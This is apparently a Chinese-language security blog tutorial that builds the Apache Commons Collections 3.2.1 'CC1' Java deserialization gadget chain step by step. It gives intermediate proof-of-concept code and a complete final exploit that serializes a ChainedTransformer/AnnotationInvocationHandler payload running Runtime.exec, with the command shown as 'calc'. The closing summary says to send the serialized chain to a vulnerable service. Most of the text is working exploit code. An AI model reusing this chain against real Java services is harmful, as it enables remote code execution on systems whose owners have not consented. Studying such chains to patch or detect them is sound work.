Apache Commons Collections 是一个广泛使用的 Java 库,提供了丰富的集合框架扩展和实用工具。然而,它也因其在 Java 反序列化攻击中的广泛应用而受到关注。特别是,Commons Collections 库中的某些类可以被恶意利用,导致任意代码执行。
环境设置 jdk版本 jdk-8u65-windows-x64
commons-collections 3.2.1
java命令执行 1 2 3 4 5 6 7 8 9 package org.example;import java.io.IOException;public class Main { public static void main (String[] args) throws IOException { Runtime.getRuntime().exec("calc" ); } }
通过runtime的Class对象 反射执行命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package org.example;import java.io.IOException;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;public class Main { public static void main (String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { Class<Runtime> runtimeClass = Runtime.class; Method getRuntime = runtimeClass.getMethod("getRuntime" ); Runtime r = (Runtime)getRuntime.invoke(null , null ); Method exec = runtimeClass.getMethod("exec" , String.class); exec.invoke(r,"calc" ); } }
利用链 反序列化链的本质就是要找重写了readObject()方法并且可序列化 的入口点,也就是链子的头部;还有可以执行命令的危险方法 作为尾部;最后用不同类的同名函数将头部和尾部串联起来。
寻找链的顺序就是先找尾部,然后往前找readobject头部。现在从尾部进行解读
通过构造函数传入参数,再进行反射调用
反射命令执行
1 2 3 4 5 6 7 public class transform { public static void main (String[] args) { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }); invokerTransformer.transform(runtime); } }
可以成功执行,接下来找transform函数的调用点
在TransformedMap类找到checkSetValue函数进行调用
往上可以找到decorate函数返回一个TransformedMap对象
因为checkSetValue是保护方法,通过反射调用
开始构建poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public class transform { public static void main (String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }); HashMap<Object, Object> map = new HashMap <>(); map.put("key" , "value" ); Map transformedMap = TransformedMap.decorate(map, null , invokerTransformer); Class<? extends Map > transformedMapClass = transformedMap.getClass(); Method checkSetValue = transformedMapClass.getDeclaredMethod("checkSetValue" , Object.class); checkSetValue.setAccessible(true ); checkSetValue.invoke(transformedMap, runtime); } }
成功执行
继续寻找主动调用checkSetValue方法的对象
发现AbstractInputCheckedMapDecorator类的setValue方法会主动调用checkSetValue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry (Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super (entry); this .parent = parent; } public Object setValue (Object value) { value = parent.checkSetValue(value); return entry.setValue(value); } }
寻找setValue触发点
发现MapEntry内部类继承了AbstractMapEntryDecorator,并重写了setValue函数
关于setValue
setValue() 可以调用的情况
必须通过 map.entrySet() 获取 Entry 对象(本质是获得map的所有键值对的,entry代表一对键值对)
不能直接在 Map 上调用setValue(),因为 Map 本身没有 setValue() 方法
Map.Entry 是 Map 中的键值对对象,只有当 entry 通过 entrySet() 获取时,setValue() 才能被调用。
因此,构建增强型for循环
继续编写poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public class setValue { public static void main (String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }); HashMap<Object, Object> map = new HashMap <>(); map.put("key" , "value" ); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null , invokerTransformer); for (Map.Entry entry : transformedMap.entrySet()){ entry.setValue(runtime); } } }
成功执行
继续寻找调用setValue函数的地方
在 sun/reflect/annotation/AnnotationInvocationHandler类中找到
AnnotationInvocationHandler 刚好还是在readObject方法里,符合反序列化调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } }
查看AnnotationInvocationHandler类构造方法
发现需要两个参数
1 Class<? extends Annotation > type, Map<String, Object> memberValues
第一个是注解类型,第二个是Map类型
同时发现构造函数没有标明类型,默认为default ,需要用反射访问
构造poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public class readobject { public static void main (String[] args) throws Exception{ Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }); HashMap<Object, Object> map = new HashMap <>(); map.put("key" , "value" ); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null , invokerTransformer); Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> aClassConstructor = aClass.getDeclaredConstructor(Class.class, Map.class); aClassConstructor.setAccessible(true ); Object o = aClassConstructor.newInstance(Target.class, transformedMap); serialize(o); deserialize(); } public static void serialize (Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static void deserialize () throws Exception { ObjectInputStream ois = new ObjectInputStream (new FileInputStream ("ser.bin" )); Object o = ois.readObject(); System.out.println(o); } }
此时无法完成命令执行
Runtime对象无法被序列化
两个if条件还没有绕过,否则无法调用setValue
根据重写的readobject,setValue内的值不可控
Runtime对象无法被序列化问题 可以通过InvokerTransformer类的反射调用方式表示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public class test { public static void main (String[] args) { Method getRuntimeMethod = (Method) new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }).transform(Runtime.class); Runtime runtime = (Runtime) new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{"getRuntime" , null }).transform(getRuntimeMethod); new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }).transform(runtime); } }
成功通过InvokerTransformer反射调用,可被序列化
发现每个InvokerTransformer的transform方法都是对前一个InvokerTransformer结果的调用。因此我们可以使用 org/apache/commons/collections/functors/ChainedTransformer进行递归调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public ChainedTransformer (Transformer[] transformers) { super (); iTransformers = transformers; }public Object transform (Object object) { for (int i = 0 ; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
修改后的poc
1 2 3 4 5 6 7 8 9 10 11 public class chain { public static void main (String[] args) { Transformer[] transformers = new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }), }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); chainedTransformer.transform(Runtime.class); } }
两个if条件绕过 第一个if 观察readobject
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 Map<String, Class<?>> memberTypes = annotationType.memberTypes();for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember(annotationType.members().get(name)) ); } } }
调试发现必须要通过Map的key值能查询到注解对应的成员变量名才能通过
因此把Map的key改成注解的成员名就行
1 map.put("value" , "value" );
成功进入第二个if
第二个if memberType.isInstance(value) 是用来动态判断 value 是不是 memberType 类型的实例,简单的说就是判断传入的参数类型和定义的参数类型是不是一样的。显然不是,因此第二个if绕过
setValue内的值不可控解决 在 org/apache/commons/collections/functors/ConstantTransformer.java
ConstantTransformer 输入类型 返回任何类型
1 2 3 4 5 6 7 public ConstantTransformer (Object constantToReturn) { super (); iConstant = constantToReturn; }public Object transform (Object input) { return iConstant; }
仅需在Transformer数组加上它,那么无论传什么值都会返回构造函数的参数
1 2 3 4 5 6 7 8 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }), };ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); chainedTransformer.transform("任意字符串" );
最终POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 package cc1Test;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class cc1 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }), }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); chainedTransformer.transform("任意字符串" ); HashMap<Object, Object> map = new HashMap <>(); map.put("value" , "value" ); Map<Object,Object> transformedMap = (TransformedMap) TransformedMap.decorate(map, null , chainedTransformer); Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> aClassConstructor = aClass.getDeclaredConstructor(Class.class, Map.class); aClassConstructor.setAccessible(true ); Object o = aClassConstructor.newInstance(Target.class, transformedMap); serialize(o); deserialize(); } public static void serialize (Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static void deserialize () throws Exception { ObjectInputStream ois = new ObjectInputStream (new FileInputStream ("ser.bin" )); Object o = ois.readObject(); System.out.println(o); } }
流程图
总结 我们把构造好的这条链子序列化之后,在有反序列化漏洞的服务传入,它会把我们构造好的链子反序列化,从而触发readobject()方法 ,由于我们在AnnotationInvocationHandler入口类的构造方法传入了用TransformedMap修饰过的map,在对map进行遍历的时候就会调用AbstractInputCheckedMapDecorator类的setValue(不可控参数)方法 ,它的方法内又会调用parent.checkSetValue(不可控参数)方法 ,parent.checkSetValue()由于遍历转换成了调用TransformedMap.checkSetValue(不可控参数) ,checkSetValue()会调用chainsedTransmer.transform(不可控参数) ,接着就是chainsedTransmer数组内的调用, 首先是ConstantTransformer.transform()->返回Runtime.class;等数组循环完就会成功执行命令Runtime.getRuntime().exec("calc");
参考链接 https://mp.weixin.qq.com/s/DvJ003gjnoEuv9zZ1xuZjw